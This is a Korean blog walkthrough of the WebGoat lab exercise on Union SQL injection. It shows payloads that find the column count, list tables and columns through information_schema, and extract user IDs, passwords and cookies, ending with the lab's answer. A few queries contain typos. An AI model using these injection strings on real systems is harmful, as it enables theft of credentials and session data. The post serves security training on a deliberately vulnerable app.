WebGoat - SQL injection (Union SQL injection)

oolongeya

·

2021. 8. 27. 15:11

user_data 테이블 정보가 있다.

모든 데이터들을 확인해보고, Dave의 패스워드를 알아내면 된다.

 

Union SQL injection
- 2개 이상의 쿼리를 사용
- UNION 연산자 사용
- 컬럼 개수, 데이터 형식이 같아야 함

 

컬럼 개수를 알아내기
[ union 대입으로 알아내기 ]

앞 쿼리문 + union select 1, %23 으로 작성을 하면 에러가 발생

union select 1, 2, %23
union select 1, 2, 3, %23
union select 1, 2, 3, 4, %23 

와 같이 컬럼의 개수를 늘리다 에러가 나지 않으면 그것이 컬럼의 개수

[ order by 대입으로 알아내기 ]

where ??? + order by 1 % 23
where ??? + order by 2 % 23

와 같이 작성하다 에러가 뜨지 않는 마지막 수가 컬럼의 개수

출처 : https://dailylearn.tistory.com/33

 

사용자 DB, 버전 알아내기
[ version(), user(), database() 대입하기 ]

SQL 버전, 사용중인 user 정보, database 이름




union select table_name from infromation_schema.tables where table_schema = database()
로 table을 확인할 수 있다.

웹에서는 최상위 한 줄을 가져오므로 limit를 사용해야한다.

union select table_name from information_schema.tables where table_schema = database() limit 0,1 %23
union select table_name from information_schema.tables where table_schema = database() limit 1,1 %23
방식으로 한 줄씩 내려가면서 table name을 확인할 수 있다.

table name을 확인하고 컬럼의 이름을 확인해야한다.

찾은 table이름은 컬럼이름에 넣으면 된다.
union select column_name from infromation_schema.columns where table_name = '테이블 이름' limit 0,1 %23
union select column_name from infromation_schema.columns where table_name = '테이블 이름' limit 1,1 %23
union select column_name from infromation_schema.columns where table_name = '테이블 이름' limit 2,1 %23

출처 : https://dailylearn.tistory.com/33

 

 

6.a) Retrieve all data from the table

Name 부분에 참인 쿼리를 넣어서 컬럼 개수를 파악해보자.

컬럼의 개수는 7개다.

 

 

1' or 1=1 SELECT userid, user_name, password, cookie, NULL, NULL, NULL FROM user_system_data--

 

 

 

dave의 패스워드 passW0rD를 입력하면 된다.

반응형